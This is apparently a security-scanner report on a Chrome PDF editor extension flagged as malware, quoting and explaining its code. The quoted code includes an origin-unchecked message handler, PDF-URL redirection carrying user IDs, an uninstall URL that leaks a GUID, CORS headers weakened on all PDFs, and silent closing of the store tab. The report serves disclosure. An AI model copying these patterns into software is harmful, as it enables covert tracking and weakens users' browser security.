Security Alert: Confirmed Malware
PDF Editor by PDFTab
ID: kfhfpbcfblieihlkiojbcbbdmlefbgfn
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- PDF Editor by PDFTabView Profile
- Privacy
- Privacy Policy
- Country
- US
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Address
- 248 3rd Street #312 oakland, CA 94607 US
Easy-to-use PDF Editor! Open .pdf files in editor to sign, edit or save files in other formats.
The Extension provides a PDF Editor to open PDF file in dynamic editor. The extension check for .pdf file extension in the URL of the file that are being opened in browser or downloaded. Extension Features 1. Automatically detects and open .PDF files in Editor 2. Presents a drag and drop option to open downloaded files in editor 3. Inserts Content script in browser PDF viewer to provide shortcut to open file in editor. Click on the extension icon in the browser toolbar to configure settings and disable/enable detection of .PDF files to be opened in editor. By installing this extension, you agree to the Terms of Service (https://pdftab-site.com/terms-of-service/index.html) and Privacy Policy (https://pdftab-site.com/privacy-policy/index.html)
The popup uses an unrestricted window.onmessage handler with no origin check. Combined with popup.html embedding an iframe to https://pdf.live/popup, the remote page can arbitrarily read or write any chrome.storage key (including the user's persistent 'guid'), trigger declarativeNetRequest rule updates, and redirect the popup to any URL via event.data.url. This grants a remote third-party page privileged control over the extension's stored identifiers and navigation.
window.onmessage = async event => { if (event && event.data && event.data.url) { window.location.href = event.data.url; } switch (event.data.task) { case "getSetting": chrome.storage[event.data.name == "guid" ? "sync" : "local"].get( [event.data.name], obj => { returnMessage(obj[event.data.name]); } ); break; case "setSetting": chrome.storage.local.set({ [event.data.name]: event.data.value }, returnMessage ); break; case "updateRules": chrome.runtime.sendMessage({ task: "updateRules" }, returnMessage); break; }};The extension popup is essentially a remote iframe pointing at https://pdf.live/popup, which is paired with a postMessage handler in popup.js that performs unauthenticated read/write to chrome.storage and arbitrary navigation. Any change on the remote pdf.live page can therefore reconfigure the extension at runtime — effectively remote-control of extension state without an update.
<body> <iframe id="frame" frameborder="0" scrolling="no" src="https://pdf.live/popup"> </iframe> <script type="text/javascript" src="popup.js" charset="utf-8"></script></body>On install the worker reads an 'ext_config' cookie from pdftab-api.com (set by the publisher's marketing/landing page before install) and copies its arbitrary key/value pairs straight into chrome.storage, including the persistent 'guid'. This is a classic install-attribution / cross-site tracking handshake that links the user's pre-install browsing session to the extension's persistent identifier.
const getConfigCookie = async () => { const cookies = await chrome.cookies.getAll({ domain: this.config.apiDomain, name: CONFIG_COOKIE_NAME, }); for (let i = 0; i < cookies.length; i++) { const cookieObj = JSON.parse(cookies[i].value); Object.keys(cookieObj) .map( async key => await setSetting(key, cookieObj[key], key === "guid") ); }};On uninstall the browser is forced to open a tracking URL that exfiltrates the persistent user GUID. The uninstallID 'config.uninstallID' is the obfuscated string '426280Ly9hcmNhZGV0YWIuY29t' (which contains the base64 of '//arcadetab.com', a domain unrelated to PDFTab), suggesting cross-promotion / affiliate hand-off to a third party at uninstall time.
const setUninstall = async () => { const uninstallUrl = `https://uninstall.${this.config.apiDomain}/?id=${ this.config.uninstallID }&guid=${await getSetting("guid", true)}`; chrome.runtime.setUninstallURL(uninstallUrl, () => {});};Every top-level navigation to any HTTPS .pdf URL is silently redirected to pdf.live/edit with the user's GUID, installDate, and source attached. This silently leaks the URL of every PDF the user opens (including private/internal/intranet PDFs) to the publisher's server along with a stable user identifier — a broad-scope traffic interception and tracking mechanism.
if (enablePDFRedirect) { chrome.declarativeNetRequest.updateSessionRules({ removeRuleIds: [1, 2, 3], addRules: [{ id: 1, priority: 1, action: { type: "allow" }, condition: { regexFilter: "file:///.*\\.pdf(\\?.*|$)", isUrlFilterCaseSensitive: false, resourceTypes: ["main_frame"], }, }, { id: 2, priority: 1, action: { type: "redirect", redirect: { regexSubstitution: `https://${this.config.PDFDomain}/edit?url=\\0&guid=${guid}&installDate=${installDate}&source=${source}`, }, }, condition: { regexFilter: "https://.*\\.pdf(\\?.*|$)", isUrlFilterCaseSensitive: false, resourceTypes: ["main_frame"], }, },The worker injects a global declarativeNetRequest rule that rewrites the Access-Control-Allow-Origin header to '*' for every XHR ending in .pdf on every origin (<all_urls>). This deliberately disables the same-origin protection on PDF resources, allowing any web page the user visits to read PDFs from any domain (including authenticated/internal PDFs behind cookies) — a serious cross-origin policy weakening.
const responseHeaderRule = { id: 4, priority: 1, action: { type: "modifyHeaders", responseHeaders: [{ header: "Access-Control-Allow-Origin", operation: "set", value: "*", }, ], }, condition: { regexFilter: "^.*.pdf(\\?.*|$)", isUrlFilterCaseSensitive: false, resourceTypes: ["xmlhttprequest"], },};chrome.declarativeNetRequest.updateSessionRules({ removeRuleIds: [responseHeaderRule.id], addRules: [responseHeaderRule],});Every PDF redirect and content-script click is exfiltrated to Google Analytics Measurement Protocol along with the persistent guid (as client_id), the origin host of the visited page (page_location/target), the original PDF URL (link_url), the user's source/tbid, and install_date. Combined with the rule that captures every HTTPS .pdf navigation, this constitutes systematic tracking of the user's PDF browsing activity tied to a stable identifier.
const GA_URL = "https://www.google-analytics.com/mp/collect?api_secret=O9sXxm4UTYq6YLpgtd6pIA&measurement_id=G-QN3F4PLVYS";const track = async (action, url, target, isRedirect) => { if (!target) target = ""; const installDate = await this.ext.getSetting("installDate"); const tbid = await this.ext.getSetting("tbid"); const guid = await this.ext.getSetting("guid", true); const s = await this.ext.getSetting("source"); const source = s ? `${s}_pdftab_crx` : "pdftab_crx"; const payload = { client_id: guid, events: [{ name: isRedirect ? "pdf_redirect" : "click", params: { page_location: target, label: action }, }, ], user_properties: { source: { value: source }, tbid: { value: tbid }, install_date: { value: installDate }, }, }; if (url) payload.events[0].params.link_url = url; await fetch(GA_URL, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload), });};The 'uninstallID' string 426280Ly9hcmNhZGV0YWIuY29t embeds the base64 fragment 'Ly9hcmNhZGV0YWIuY29t' which decodes to '//arcadetab.com' — a domain disjoint from the extension's stated brand (pdftab/pdf.live). Hiding a third-party domain inside an opaque ID is a deliberate obfuscation pattern used by monetization SDKs to disguise the eventual destination of uninstall/redirect traffic.
const ext = new extension();const config = { apiDomain: "pdftab-api.com", yID: "23", uninstallID: "426280Ly9hcmNhZGV0YWIuY29t", eType: "c", queryParams: ["guid", "extId", "EType", "installDate"], PDFDomain: "pdf.live",};Immediately after install the worker locates the user's open Chrome Web Store listing tab and silently closes it, then locates the publisher's landing-page tab and rewrites its URL to add a #ext-installed hash. This is a classic conversion-pixel manipulation pattern used to hide review/uninstall surfaces and signal a successful install back to the partner page without user awareness.
const updateCWSAndLPTab = async () => { if (await getSetting("location")) { const cwsTabs = await chrome.tabs.query({ url: `*://chrome.google.com/webstore*${await getSetting( "extId" )}*`, }); for (const tab of cwsTabs) { if (await getSetting(TY_COOKIE_NAME)) { chrome.tabs.remove(tab.id); } } const lpTab = await chrome.tabs.query({ url: `${await getSetting("location")}*`, }); if (lpTab && lpTab[0] && lpTab[0].id) { const updatedTab = await chrome.tabs.update(lpTab[0].id, { url: updateHash(lpTab[0].url, "ext-installed"), }); } } await openFirstRunPage();};The worker programmatically injects content/viewer.js into any tab whose URL ends in .pdf across <all_urls>, including local file:// PDFs. The injected viewer.js then reads chrome.storage (guid/installDate/source) and adds DOM listeners on arbitrary pages to ship those identifiers and the page host out via the message-passing 'track' path. This is a broad cross-origin code injection / tracking pipeline.
const tabOnUpdateListener = async (tabId, changeInfo, tab) => { if (tab.url && changeInfo.status === "complete") { const url = new URL(tab.url); if ( url.href.split(".") .pop() == "pdf" && url.hostname !== this.config.PDFDomain && (url.protocol === "https:" || url.protocol === "file:" || url.protocol === "http:") ) { chrome.scripting.executeScript({ target: { tabId: tab.id, allFrames: false }, files: ["content/viewer.js"], }); } }};By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.22.707 | 10 |
Files with findings
6 distinct paths — top paths by unique finding count:
- lib/dynamicRules.js3
- lib/ext.js3
- lib/ga.js1
- popup/popup.html1
- popup/popup.js1
- worker.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.